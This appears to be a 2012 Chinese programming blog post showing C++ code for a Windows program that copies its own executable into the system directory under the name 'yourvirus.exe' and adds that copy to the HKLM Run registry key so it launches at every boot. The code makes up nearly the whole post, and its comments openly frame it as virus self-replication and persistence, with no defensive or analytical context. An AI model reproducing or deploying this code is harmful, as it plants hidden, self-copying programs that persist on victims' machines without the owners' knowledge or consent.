C++:程序的自我复制及开机启动

#include <windows.h>

int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
//得到当前执行文件的全路径
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
//得到系统文件所在目录的路径,如c:\windows\system32
GetSystemDirectory(system,sizeof(system));
//形成要复制到的全路径,如c:\windows\system32\yourvirus.exe
strcat(system,"\\yourvirus.exe");
//自我复制到目标路径
CopyFile(pathtofile,system,false);

//写入注册表,以便开机自动运行
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
return 0;
}
posted @ 2012-04-06 14:14  likebeta  阅读(2936)  评论(0编辑  收藏  举报